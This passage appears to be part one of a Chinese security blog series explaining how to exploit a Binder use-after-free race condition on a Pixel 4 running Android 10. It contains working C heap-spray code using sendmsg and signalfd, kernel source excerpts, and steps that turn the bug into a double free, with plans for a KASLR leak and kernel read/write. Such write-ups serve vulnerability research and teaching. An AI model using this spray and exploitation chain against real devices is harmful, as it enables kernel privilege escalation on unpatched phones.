在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。
触发UAF漏洞是一回事,但是如何利用它实现代码执行又是另外一回事了。本节将为读者逐步演示如何利用该漏洞,希望这一过程能够加深读者对该漏洞的理解。
我们的测试将在运行2020年8月发布的最新Android 10原厂映像QQ3A.200805.001的Pixel 4设备上执行,没有安装其他安全更新。读者可以在Google开发人员网站上找到该映像。
顾名思义,“释放后使用(UAF)”背后的一般想法是在释放对象后继续使用动态分配的对象。有趣的是,该释放的对象现在可以由另一个具有不同布局的对象替换,从而在原始结构的特定字段上造成类型混淆。现在,当被利用的程序继续运行时,它会像使用原始对象一样使用已经重新分配的对象,这可能导致执行流的重定向。
众所周知,UAF漏洞的利用过程高度依赖于所使用的动态分配系统,对于Android系统来说,它使用了一种名为SLUB分配器的动态分配系统。
由于本文不打算解释SLUB分配器的工作原理,因此,如果您还不熟悉它,请先阅读有关该主题的相关资料,以便于充分理解本文的其余部分。
从本质上讲,slab可以分为存储特定大小或特定类型的对象的缓存。在我们的例子中,我们想重新分配binder节点对象占用的内存。在这里,binder_node结构体的长度为128字节,并且在运行Android 10的Pixel 4上没有专用的缓存,这意味着它位于kmalloc-128缓存中。因此,我们需要使用长度小于或等于128字节的对象进行内存喷射,详情见下文。
我们之前说过,可以使用UAF漏洞来控制binder的switch/case参数。
static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{
struct binder_work *w;
while (1) {
w = binder_dequeue_work_head(proc, list);
if (!w)
return;
switch (w->type) { /* <-- Value controlled with the use-after-free */
// [...]
default:
pr_err("unexpected work type, %d, not freed\n",
w->type);
break;
}
}
}
在本节中,我们将通过喷射slab来篡改w->type读取的值。
我们使用的喷射技术在Project Zero的“Mitigations are attack surface, too”中有详细的介绍,该技术依赖于sendmsg和signalfd的使用。
sendmsg分配一个几乎由用户控制的数据填充的128字节内核对象
sendmsg对象被释放
此后,立即进行signalfd分配,创建一个8字节对象(也是128-kmalloc高速缓存的一部分),该对象很可能会替换以前的sendmsg,并将其内容“钉”在内存中。
通过这种喷射技术,可以获得以下结果,从而使我们能够控制w->type。
如Lexfo撰写的“CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)”所述,也可以仅通过阻止sendmsg来达到相同的效果。但是,利用漏洞的速度会显著变慢,正如我们将在下一部分中看到的那样,signalfd在利用此漏洞中起着非常重要作用。
我们可以使用类似于以下功能的函数在内核内存中喷射sendmsg和signalfd对象,以控制w->type。
void *spray_thread_func(void *argp) {
struct spray_thread_data *data = (struct spray_thread_data*)argp;
int delay;
int msg_buf[SENDMSG_SIZE / sizeof(int)];
int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];
struct msghdr spray_msg;
struct iovec siov;
uint64_t sigset_value;
// Sendmsg control buffer initialization
memset(&spray_msg, 0, sizeof(spray_msg));
ctl_buf[0] = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
ctl_buf[6] = 0xdeadbeef; /* w->type value */
siov.iov_base = msg_buf;
siov.iov_len = SENDMSG_SIZE;
spray_msg.msg_iov = &siov;
spray_msg.msg_iovlen = 1;
spray_msg.msg_control = ctl_buf;
spray_msg.msg_controllen = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
for (;;) {
// Barrier - Before spray
pthread_barrier_wait(&data->barrier);
// Waiting some time
delay = rand() % SPRAY_DELAY;
for (int i = 0; i < delay; i++) {}
for (uint64_t i = 0; i < NB_SIGNALFDS; i++) {
// Arbitrary signalfd value (will become relevant later)
sigset_value = ~0;
// Non-blocking sendmsg
sendmsg(data->sock_fds[0], &spray_msg, MSG_OOB);
// Signalfd call to pin sendmsg's control buffer in kernel memory
signalfd_fds[data->trigger_id][data->spray_id][i] = signalfd(-1, (sigset_t*)&sigset_value, 0);
if (signalfd_fds[data->trigger_id][data->spray_id][i] <= 0)
debug_printf("Could not open signalfd - %d (%s)\n", signalfd_fds[data->trigger_id][data->spray_id][i], strerror(errno));
}
// Barrier - After spray
pthread_barrier_wait(&data->barrier);
}
return NULL;
}
如果成功的利用了该漏洞,一段时间后应该在dmesg中看到以下日志内容:
[ 1245.158628] binder: unexpected work type, -559038737, not freed
[ 1249.805270] binder: unexpected work type, -559038737, not freed
[ 1256.615639] binder: unexpected work type, -559038737, not freed
[ 1258.221516] binder: unexpected work type, -559038737, not freed
尽管我们知道如何控制switch/case参数,但我们还没有介绍binder_release_work中的UAF漏洞可以用来做什么。下面,让我们看看该函数的其他部分,以确定我们的目标代码路径。
static void binder_release_work(struct binder_proc *proc,
struct list_head *list)
{
struct binder_work *w;
while (1) {
w = binder_dequeue_work_head(proc, list);
if (!w)
return;
switch (w->type) {
case BINDER_WORK_TRANSACTION: {
struct binder_transaction *t;
t = container_of(w, struct binder_transaction, work);
binder_cleanup_transaction(t, "process died.",
BR_DEAD_REPLY);
} break;
case BINDER_WORK_RETURN_ERROR: {
struct binder_error *e = container_of(
w, struct binder_error, work);
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undelivered TRANSACTION_ERROR: %u\n",
e->cmd);
} break;
case BINDER_WORK_TRANSACTION_COMPLETE: {
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undelivered TRANSACTION_COMPLETE\n");
kfree(w);
binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);
} break;
case BINDER_WORK_DEAD_BINDER_AND_CLEAR:
case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {
struct binder_ref_death *death;
death = container_of(w, struct binder_ref_death, work);
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undelivered death notification, %016llx\n",
(u64)death->cookie);
kfree(death);
binder_stats_deleted(BINDER_STAT_DEATH);
} break;
default:
pr_err("unexpected work type, %d, not freed\n",
w->type);
break;
}
}
}
从代码来看,每个分支要么输出一些日志信息,要么释放binder_work,这意味着唯一可能的策略就是对使用后的对象进行第二次释放。SLUB中的Double Free漏洞,意味着我们将能够在同一位置分配两个对象,使它们重叠,然后使用一个对象来修改另一个对象。
现在,并不是所有的释放过程都是一样的,如果我们的binder_node对象位于地址X处,那么出列的binder_work结构体将位于X+8处,并且:
BINDER_WORK_TRANSACTION将释放X处的对象
BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOTIFICATION将释放X+8处的对象
对于在X处分配的对象,如果在X+8处释放它,则下一次的内存分配也将在X+8处进行。这可能是一个非常有趣的原语,因为它提供了下列功能:
另一种重叠配置(与X处的偏移量相比,您可以获得不同的偏移量)
一种到达与X处对象相邻的对象的潜在方式(例如,在X+8处分配一个128字节长的binder_node将导致对相邻对象进行8个字节的越界访问)。
我们没有将该策略用于这里的exploit,而是通过将w->type设置为BINDER_WORK_TRANSACTION,继续利用X处的常规Double Free漏洞。但是,这个路径比其他三个路径需要进行更多的工作。
在binder_cleanup_transaction中,我们用sendmsg的控制缓冲区来控制t,并希望到达对binder_free_transaction的调用。
static void binder_cleanup_transaction(struct binder_transaction *t,
const char *reason,
uint32_t error_code)
{
if (t->buffer->target_node && !(t->flags & TF_ONE_WAY)) {
binder_send_failed_reply(t, error_code);
} else {
binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,
"undelivered transaction %d, %s\n",
t->debug_id, reason);
binder_free_transaction(t);
}
}
首先要满足的条件是:
t->buffer必须指向有效的内核内存(例如始终在Pixel设备上分配的0xffffff8008000000)
TF_ONE_WAY应该在t->flags中设置
static void binder_free_transaction(struct binder_transaction *t)
{
struct binder_proc *target_proc = t->to_proc;
if (target_proc) {
binder_inner_proc_lock(target_proc);
if (t->buffer)
t->buffer->transaction = NULL;
binder_inner_proc_unlock(target_proc);
}
/*
* If the transaction has no target_proc, then
* t->buffer->transaction has already been cleared.
*/
kfree(t);
binder_stats_deleted(BINDER_STAT_TRANSACTION);
}
在binder_free_transaction中,达到kfree之前需要满足的其他条件是:
t->to_proc应该为NULL
满足了这些要求之后,我们终于可以在X处利用一次Double Free漏洞了。
现在,为了继续利用漏洞以实现代码执行,我们需要借助于KASLR泄漏和任意内核内存读/写漏洞。由于最近的Pixel内核使用了CFI,因此,我们无法通过重定向执行流程来直接执行内核代码。
可以通过读取存储在对象中的函数指针来获得KASLR泄漏漏洞。对于两个重叠的对象,其中一个对象应该允许我们从中读取其值,另一个对象需要具有一个与第一个对象的值对齐的函数指针。
任意内核内存读/写要复杂一些,我们将在以下各节中详细加以介绍。现在,请注意,它们依赖于Thomas King的“内核空间镜像攻击(KSMA)”,并且我们需要在重叠对象的开始处写入8字节。
但是,在执行任何操作之前,我们需要确定对象在内存中重叠的位置。根据我们所处的漏洞利用阶段,我们不会重叠相同的对象。这意味着我们需要能够以足够的精度释放和分配对象,以免丢失对悬空内存区域的引用。
当然,我们可以使用不同方法来检测重叠对象。但是对于这里的exploit来说,我们决定重用signalfd,其思想是在第一次喷射期间获得w->type的控制权,并通过其sigset_t值为每个signalfd赋予一个特定的标识号。
实际上,如果一切顺利的话,exploit将开始使用sendmsg和signalfd来喷射内存。然后,就会出现UAF漏洞。其中,一个sendmsg/signalfd对象将替换binder_node对象并更改w-type的值。之后,将出现Double Free漏洞,并允许两个对象相互重叠。我们继续使用sendmsg/signalfd喷射技术,使双重释放的signalfd与另一个重叠。这将导致一个其值已经被改变的signalfd,并且利用其标识号,就能确定它与哪个signalfd发生了重叠,具体如下图所示:
在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!
(未完待续)
本文作者:mssp299
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/150984.html